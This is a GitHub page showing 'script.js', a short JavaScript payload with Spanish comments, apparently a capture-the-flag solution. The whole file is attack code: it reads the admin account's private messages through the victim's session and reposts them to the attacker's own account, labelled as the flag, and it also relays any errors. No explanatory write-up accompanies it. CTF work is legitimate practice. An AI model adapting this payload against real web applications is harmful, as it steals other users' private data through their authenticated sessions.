-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathscript.js
More file actions
24 lines (22 loc) · 755 Bytes
/
Copy pathscript.js
File metadata and controls
24 lines (22 loc) · 755 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
(async () => {
try {
// Pedimos los mensajes del admin (id=1)
const r = await fetch('/messages?id=1');
const data = await r.json();
// Extraemos todos los mensajes como texto
const flag = data.messages.map(m => m.message).join('\n');
// Enviamos la flag de vuelta a nuestra cuenta como nuevo mensaje
await fetch('/create_msg', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ message: '[FLAG]\n' + flag })
});
} catch (e) {
// Si algo falla, que también lo deje anotado
await fetch('/create_msg', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ message: 'Error: ' + e })
});
}
})();